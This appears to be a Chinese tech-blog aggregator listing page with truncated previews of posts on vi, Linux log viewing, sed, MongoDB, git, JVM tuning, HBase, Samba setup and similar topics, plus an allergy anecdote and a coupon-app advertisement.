    荞麦在我这里不是常用的谷物。所以前二十年，我以为自己是很正常的，从街头小吃到包装零食到每日三餐，从来没有不能吃的。可是有天我突然病倒了，喉咙火辣辣的肿痛，口水都咽不下去，舌头发麻。当时我以为吃太多零食所致，因为那天我吃了很辣的泡椒凤爪。其实我是不怎么吃辣的。而那个泡椒凤爪真的超辣。当时我以为自己吃多了，并不知道自己对哪个食物过敏。因为不舒服我早早睡了，结果并没有睡着。肚子一阵一阵疼，非常痛苦，终于
  • Linux vi常用命令 fengyehongWorld Linuxlinux
    参考资料viコマンド（vimコマンド）リファレンス目录一.保存系命令二.删除系命令三.移动系命令四.复制粘贴系命令一.保存系命令⏹保存并退出:wq⏹强制保存并退出:wq!⏹退出(文件未编辑):q⏹强制退出(忽略已编辑内容):q!⏹另存为:w新文件名二.删除系命令⏹删除当前行dd⏹清空整个文档gg：移动到文档顶部dG：删除到最后一行ggdG三.移动系命令⏹移动到文档顶部gg⏹移动到文档底部#方式1G
  • 语文主题教学学习笔记之87 东哥杂谈
    “语文主题教学”学习笔记之八十七（0125）今天继续学习小学语文主题教学的实践样态。板块三：教学中体现“书艺”味道。作为四大名著之一的《水浒传》，堪称我国文学宝库之经典。对从《水浒传》中摘选的单元，教师就要了解其原生态，即评书体特点。这也要求教师要了解一些常用的评书行话术语，然后在教学时适时地加入一些，让学生体味其文本中原有的特色。学生也要尽可能地通过朗读的方式，而不单是分析讲解的方式进行学习。细
  • Linux查看服务器日志 TPBoreas 运维linux运维
    一、tail这个是我最常用的一种查看方式用法如下：tail-n10test.log查询日志尾部最后10行的日志;tail-n+10test.log查询10行之后的所有日志;tail-fn10test.log循环实时查看最后1000行记录(最常用的)一般还会配合着grep用，(实时抓包)例如:tail-fn1000test.log|grep'关键字'（动态抓包）tail-fn1000test.log
  • MongoDB知识概括 GeorgeLin98 持久层mongodb
    MongoDB知识概括MongoDB相关概念单机部署基本常用命令索引-IndexSpirngDataMongoDB集成副本集分片集群安全认证MongoDB相关概念业务应用场景：传统的关系型数据库（如MySQL），在数据操作的“三高”需求以及应对Web2.0的网站需求面前，显得力不从心。解释：“三高”需求：①Highperformance-对数据库高并发读写的需求。②HugeStorage-对海量数
  • mac 备份android 手机通讯录导入iphone,iphone如何导出通讯录（轻松教你iPhone备份通讯录的方法）... weixin_39762838 mac备份android手机通讯录导入iphone
    在日新月异的手机更替中，换手机已经成为一个非常稀松平常的事情，但将旧手机上面的通讯录导入到新手机还是让不少小伙伴为难，本篇将给大家详细讲解这方面的知识：“苹果手机通讯录怎么导入到新手机”及“安卓手机通讯录导入到新手机”的方法。一、苹果手机通讯录导入到新手机常用方法(SIM卡导入)在苹果手机主频幕上找到“设置”，单击进入设置菜单，下拉菜单列表，点击“邮件、通讯录、日历”，然后找到“导入SIM卡通讯录
  • 利用python实现图片格式之间的相互转换 难得北窗高卧 python开发语言
    一、概要图片一般有多种格式，常见的图片格式包括：JPEG（.jpg或.jpeg）：一种广泛使用的有损压缩格式，适用于摄影图像和网页上的图片。PNG（.png）：一种无损压缩格式，支持透明度和更好的图像质量，常用于图标、图形和需要透明背景的图片。该图片是4通道的，外加一个透明通道。如截屏GIF（.gif）：一种支持动画和透明度的格式，常用于简单的动画和图标。BMP（.bmp）：一种无损格式，存储图像
  • 入门MySQL——查询语法练习 K_un
    前言：前面几篇文章为大家介绍了DML以及DDL语句的使用方法，本篇文章将主要讲述常用的查询语法。其实MySQL官网给出了多个示例数据库供大家实用查询，下面我们以最常用的员工示例数据库为准，详细介绍各自常用的查询语法。1.员工示例数据库导入官方文档员工示例数据库介绍及下载链接：https://dev.mysql.com/doc/employee/en/employees-installation.h
  • 更改npm镜像源为淘宝镜像 骆小骆 基于node.js
    npm常用指令后缀*最近复习了一下node.js整理了一下跟node.js相关的指令后缀*--save、-S参数意思是把模块的版本信息保存到dependencies（生产环境依赖）中，即你的package.json文件的dependencies字段中；–--save-dev、-D参数意思是把模块版本信息保存到devDependencies（开发环境依赖）中，即你的package.json文件的de
  • 常见的 JVM 调优方法有哪些？ 爪哇天下 jvm
    常见的JVM调优方法有哪些？可以具体到调整哪个参数，调成什么值？对年轻代的EdenSurvivor的比例进行配置-XX:SurvivorRatio=8：表示设置2个Survivor区：1个Eden区的大小比值为2:8，这意味着Survivor区占整个年轻代的1/5，这个参数默认为8如果经常性的SurvivorTo放不下YGC的剩余的对象时候，可以适当的调整比例常用的CMS收集器：设置回收阈值，需要
  • 补充元象二面 Redstone Monstrosity 前端面试
    1.请尽可能详细地说明，防抖和节流的区别，应用场景？你的回答中不要写出示例代码。防抖（Debounce）和节流（Throttle）是两种常用的前端性能优化技术，它们的主要区别在于如何处理高频事件的触发。以下是防抖和节流的区别和应用场景的详细说明：防抖和节流的定义防抖：在一段时间内，多次执行变为只执行最后一次。防抖的原理是，当事件被触发后，设置一个延迟定时器。如果在这个延迟时间内事件再次被触发，则重
  • pyhon+ffmpeg 常用音视频处理命令 不再游移 ffmpeg音视频python
    FFmpeg是多媒体领域的万能工具。只要涉及音视频领域的处理，基本上没有它做不了的事情！通俗点讲，从视频录制、视频编辑再到播放，它都能做！前段时间做了个短视频自动化脚本项目，需要自动处理音视频（包括一些合成、拼接、转场、调色等等），当时做的时候找各种命令还是很痛苦的，因此对用到的所有处理命令做了个汇总，方便以后使用。目录一、获取音频时长二、获取视频信息三、获取视频时长四、多个视频合并五、视频提取视
  • Python数据分析与可视化 jun778895 python数据分析开发语言
    Python数据分析与可视化是一个涉及数据处理、分析和以图形化方式展示数据的过程，它对于数据科学家、分析师以及任何需要从数据中提取洞察力的专业人员来说至关重要。以下将详细探讨Python在数据分析与可视化方面的应用，包括常用的库、数据处理流程、可视化技巧以及实际应用案例。一、Python数据分析与可视化的重要性数据可视化是将数据以图形或图像的形式表示出来，以便人们能够更直观地理解数据背后的信息和规
  • [实践应用] 深度学习之模型性能评估指标 YuanDaima2048 深度学习工具使用深度学习人工智能损失函数性能评估pytorchpython机器学习
    文章总览：YuanDaiMa2048博客文章总览深度学习之模型性能评估指标分类任务回归任务排序任务聚类任务生成任务其他介绍在机器学习和深度学习领域，评估模型性能是一项至关重要的任务。不同的学习任务需要不同的性能指标来衡量模型的有效性。以下是对一些常见任务及其相应的性能评估指标的详细解释和总结。分类任务分类任务是指模型需要将输入数据分配到预定义的类别或标签中。以下是分类任务中常用的性能指标：准确率(
  • 外卖优惠券公众号哪个好?外卖领券公众号 高省爱氧惠
    随着外卖行业的不断发展壮大，越来越多的外卖平台开始推出各种优惠券活动，吸引用户下单。而在这些外卖优惠券公众号中，我最常用的就是【氧惠】了？不知道大家都在用什么。氧惠APP（带货领导者）——是与以往完全不同的抖客+淘客app！2023全新模式，我的直推也会放到你下面。主打：带货高补贴，深受各位带货团队长喜爱（每天出单带货几十万单）。注册即可享受高补贴+0撸+捡漏等带货新体验。送万元推广大礼包，教你如
  • Shell脚本中sed使用 jcrhl321 linux
    目录一、sed编辑器1、sed概述2、sed的工作流程3、sed命令的常见格式4、sed命令常用操作二、sed常用命令使用1、sed打印2、sed删除3、sed替换4、sed插入与增加4、sed剪切粘贴与复制粘贴一、sed编辑器sed（StreamEDitor）是一个强大而简单的文本解析转换工具，可以读取文本，并根据指定的条件对文本内容进行编辑（删除、替换、添加、移动等），最后输出所有行或者仅输出
  • 入职Java，不会git被开除了....... 不爱洗脚的小滕 javagit开发语言
    文章目录前言一、Git是什么？二、Git的核心概念三、Git的常用命令三、总结前言故事的主角是小明，一个充满活力的年轻人，他刚刚入职一家以Java为主导的软件公司。他对Java有深厚的了解，但他有一个致命的缺点——他不会使用git。小明的第一天上班，他的经理给他分配了一个项目，并告诉他需要使用git来管理代码。小明点头表示理解，但实际上他对git一窍不通。他以为git是公司的一个员工，所以他开始在
  • 微信开发者验证接口开发 362217990 微信 开发者 token 验证
    微信开发者接口验证。 Token，自己随便定义，与微信填写一致就可以了。 根据微信接入指南描述 http://mp.weixin.qq.com/wiki/17/2d4265491f12608cd170a95559800f2d.html 第一步：填写服务器配置 第二步：验证服务器地址的有效性 第三步：依据接口文档实现业务逻辑 这里主要讲第二步验证服务器有效性。 建一个
  • 一个小编程题-类似约瑟夫环问题 BrokenDreams 编程
            今天群友出了一题：         一个数列,把第一个元素删除,然后把第二个元素放到数列的最后,依次操作下去,直到把数列中所有的数都删除,要求依次打印出这个过程中删除的数。      &
  • linux复习笔记之bash shell (5) 关于减号-的作用 eksliang linux关于减号“-”的含义linux关于减号“-”的用途linux关于“-”的含义linux关于减号的含义
        转载请出自出处： http://eksliang.iteye.com/blog/2105677        管道命令在bash的连续处理程序中是相当重要的，尤其在使用到前一个命令的studout（标准输出）作为这次的stdin（标准输入）时，就显得太重要了，某些命令需要用到文件名，例如上篇文档的的切割命令（split）、还有
  • Unix(3) 18289753290 unix ksh
    1)若该变量需要在其他子进程执行，则可用"$变量名称"或${变量}累加内容 什么是子进程？在我目前这个shell情况下，去打开一个新的shell，新的那个shell就是子进程。一般状态下，父进程的自定义变量是无法在子进程内使用的，但通过export将变量变成环境变量后就能够在子进程里面应用了。 2)条件判断： &&代表and  ||代表or&nbs
  • 关于ListView中性能优化中图片加载问题 酷的飞上天空 ListView
    ListView的性能优化网上很多信息，但是涉及到异步加载图片问题就会出现问题。 具体参看上篇文章http://314858770.iteye.com/admin/blogs/1217594   如果每次都重新inflate一个新的View出来肯定会造成性能损失严重，可能会出现listview滚动是很卡的情况，还会出现内存溢出。 现在想出一个方法就是每次都添加一个标识，然后设置图
  • 德国总理默多克：给国人的一堂“震撼教育”课 永夜-极光 教育
    http://bbs.voc.com.cn/topic-2443617-1-1.html德国总理默多克：给国人的一堂“震撼教育”课　 安吉拉—默克尔，一位经历过社会主义的东德人，她利用自己的博客，发表一番来华前的谈话，该说的话，都在上面说了，全世界想看想传播——去看看默克尔总理的博客吧！ 　　德国总理默克尔以她的低调、朴素、谦和、平易近人等品格给国人留下了深刻印象。她以实际行动为中国人上了一堂
  • 关于Java继承的一个小问题。。。 随便小屋 java
    今天看Java 编程思想的时候遇见一个问题，运行的结果和自己想想的完全不一样。先把代码贴出来！ //CanFight接口 interface Canfight { void fight(); } //ActionCharacter类 class ActionCharacter { public void fight() { System.out.pr
  • 23种基本的设计模式 aijuans 设计模式
    Abstract Factory：提供一个创建一系列相关或相互依赖对象的接口，而无需指定它们具体的类。 　　Adapter：将一个类的接口转换成客户希望的另外一个接口。A d a p t e r模式使得原本由于接口不兼容而不能一起工作的那些类可以一起工作。 　　Bridge：将抽象部分与它的实现部分分离，使它们都可以独立地变化。 　　Builder：将一个复杂对象的构建与它的表示分离，使得同
  • 《周鸿祎自述：我的互联网方法论》读书笔记 aoyouzi 读书笔记
    从用户的角度来看,能解决问题的产品才是好产品,能方便/快速地解决问题的产品,就是一流产品.   商业模式不是赚钱模式 一款产品免费获得海量用户后,它的边际成本趋于0,然后再通过广告或者增值服务的方式赚钱,实际上就是创造了新的价值链.   商业模式的基础是用户,木有用户,任何商业模式都是浮云.商业模式的核心是产品,本质是通过产品为用户创造价值. 商业模式还包括寻找需求
  • JavaScript动态改变样式访问技术 百合不是茶 JavaScriptstyle属性ClassName属性
      一:style属性 格式:  HTML元素.style.样式属性="值";   创建菜单:在html标签中创建 或者 在head标签中用数组创建   <html> <head> <title>style改变样式</title> </head> &l
  • jQuery的deferred对象详解 bijian1013 jquerydeferred对象
            jQuery的开发速度很快，几乎每半年一个大版本，每两个月一个小版本。         每个版本都会引入一些新功能，从jQuery 1.5.0版本开始引入的一个新功能----deferred对象。    &nb
  • 淘宝开放平台TOP Bill_chen C++c物流C#
    淘宝网开放平台首页：http://open.taobao.com/ 淘宝开放平台是淘宝TOP团队的产品，TOP即TaoBao Open Platform， 是淘宝合作伙伴开发、发布、交易其服务的平台。 支撑TOP的三条主线为：    1.开放数据和业务流程     * 以API数据形式开放商品、交易、物流等业务；  &
  • 【大型网站架构一】大型网站架构概述 bit1129 网站架构
    大型互联网特点 面对海量用户、海量数据 大型互联网架构的关键指标 高并发 高性能 高可用 高可扩展性 线性伸缩性 安全性 大型互联网技术要点   前端优化 CDN缓存 反向代理 KV缓存 消息系统 分布式存储 NoSQL数据库 搜索 监控 安全 想到的问题： 1.对于订单系统这种事务型系统，如
  • eclipse插件hibernate tools安装 白糖_ Hibernate
    eclipse helios(3.6)版 1.启动eclipse 2.选择 Help > Install New Software...> 3.添加如下地址： http://download.jboss.org/jbosstools/updates/stable/helios/ 4.选择性安装：hibernate tools在All Jboss tool
  • Jquery easyui Form表单提交注意事项 bozch jquery easyui
    jquery easyui对表单的提交进行了封装，提交的方式采用的是ajax的方式，在开发的时候应该注意的事项如下：         1、在定义form标签的时候，要将method属性设置成post或者get，特别是进行大字段的文本信息提交的时候，要将method设置成post方式提交，否则页面会抛出跨域访问等异常。所以这个要
  • Trie tree(字典树)的Java实现及其应用-统计以某字符串为前缀的单词的数量 bylijinnan java实现
    import java.util.LinkedList; public class CaseInsensitiveTrie { /** 字典树的Java实现。实现了插入、查询以及深度优先遍历。 Trie tree's java implementation.(Insert,Search,DFS) Problem Description Igna
  • html css 鼠标形状样式汇总 chenbowen00 htmlcss
    css鼠标手型cursor中hand与pointer  Example：CSS鼠标手型效果 <a href="#" style="cursor:hand">CSS鼠标手型效果</a><br/>  Example：CSS鼠标手型效果 <a href="#" style=&qu
  • [IT与投资]IT投资的几个原则 comsci it
          无论是想在电商,软件,硬件还是互联网领域投资,都需要大量资金,虽然各个国家政府在媒体上都给予大家承诺,既要让市场的流动性宽松,又要保持经济的高速增长....但是,事实上,整个市场和社会对于真正的资金投入是非常渴望的,也就是说,表面上看起来,市场很活跃,但是投入的资金并不是很充足的......    
  • oracle with语句详解 daizj oraclewithwith as
    oracle with语句详解 转 在oracle中，select 查询语句，可以使用with,就是一个子查询，oracle 会把子查询的结果放到临时表中，可以反复使用 例子:注意，这是sql语句，不是pl/sql语句， 可以直接放到jdbc执行的 ----------------------------------------------------------------
  • hbase的简单操作 deng520159 数据库hbase
    近期公司用hbase来存储日志,然后再来分析 ,把hbase开发经常要用的命令找了出来. 用ssh登陆安装hbase那台linux后 用hbase shell进行hbase命令控制台! 表的管理 1）查看有哪些表 hbase(main)> list 2）创建表   # 语法：create <table>, {NAME => <family&g
  • C语言scanf继续学习、算术运算符学习和逻辑运算符 dcj3sjt126com c
    /* 2013年3月11日20:37:32 地点：北京潘家园 功能：完成用户格式化输入多个值 目的：学习scanf函数的使用 */ # include <stdio.h> int main(void) { int i, j, k; printf("please input three number:\n"); //提示用
  • 2015越来越好 dcj3sjt126com 歌曲
    越来越好 房子大了电话小了 感觉越来越好 假期多了收入高了 工作越来越好 商品精了价格活了 心情越来越好 天更蓝了水更清了 环境越来越好 活得有奔头人会步步高 想做到你要努力去做到 幸福的笑容天天挂眉梢 越来越好 婆媳和了家庭暖了 生活越来越好 孩子高了懂事多了 学习越来越好 朋友多了心相通了 大家越来越好 道路宽了心气顺了 日子越来越好 活的有精神人就不显
  • java.sql.SQLException: Value '0000-00-00' can not be represented as java.sql.Tim feiteyizu mysql
    数据表中有记录的time字段（属性为timestamp）其值为：“0000-00-00 00:00:00” 程序使用select 语句从中取数据时出现以下异常： java.sql.SQLException:Value '0000-00-00' can not be represented as java.sql.Date   java.sql.SQLException: Valu
  • Ehcache（07）——Ehcache对并发的支持 234390216 并发ehcache锁ReadLockWriteLock
    Ehcache对并发的支持          在高并发的情况下，使用Ehcache缓存时，由于并发的读与写，我们读的数据有可能是错误的，我们写的数据也有可能意外的被覆盖。所幸的是Ehcache为我们提供了针对于缓存元素Key的Read（读）、Write（写）锁。当一个线程获取了某一Key的Read锁之后，其它线程获取针对于同
  • mysql中blob,text字段的合成索引 jackyrong mysql
      在mysql中，原来有一个叫合成索引的，可以提高blob,text字段的效率性能， 但只能用在精确查询，核心是增加一个列，然后可以用md5进行散列，用散列值查找 则速度快 比如： create table abc(id varchar(10),context blog,hash_value varchar(40)); insert into abc(1,rep
  • 逻辑运算与移位运算 latty 位运算逻辑运算
    源码：正数的补码与原码相同例+7 源码：00000111 补码 ：00000111 （用8位二进制表示一个数） 负数的补码： 符号位为1，其余位为该数绝对值的原码按位取反；然后整个数加1。   -7 源码： 10000111 ，其绝对值为00000111  取反加一：11111001 为-7补码 已知一个数的补码，求原码的操作分两种情况：
  • 利用XSD 验证XML文件 newerdragon javaxmlxsd
    XSD文件 （XML Schema 语言也称作 XML Schema 定义（XML Schema Definition，XSD）。 具体使用方法和定义请参看： http://www.w3school.com.cn/schema/index.asp java自jdk1.5以上新增了SchemaFactory类 可以实现对XSD验证的支持，使用起来也很方便。 以下代码可用在J
  • 搭建 CentOS 6 服务器(12) - Samba rensanning centos
    （1）安装 # yum -y install samba Installed: samba.i686 0:3.6.9-169.el6_5 # pdbedit -a rensn new password:123456 retype new password:123456 …… （2）Home文件夹 # mkdir /etc
  • Learn Nodejs 01 toknowme nodejs
    （1）下载nodejs https://nodejs.org/download/ 选择相应的版本进行下载     （2）安装nodejs 安装的方式比较多，请baidu下 我这边下载的是“node-v0.12.7-linux-x64.tar.gz”这个版本 （1）上传服务器 （2）解压 tar -zxvf  node-v0.12.
  • jquery控制自动刷新的代码举例 xp9802 jquery
    1、html内容部分  复制代码代码示例: <div id='log_reload'> <select name="id_s" size="1"> <option value='2'>-2s-</option> <option value='3'>-3s-</option
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他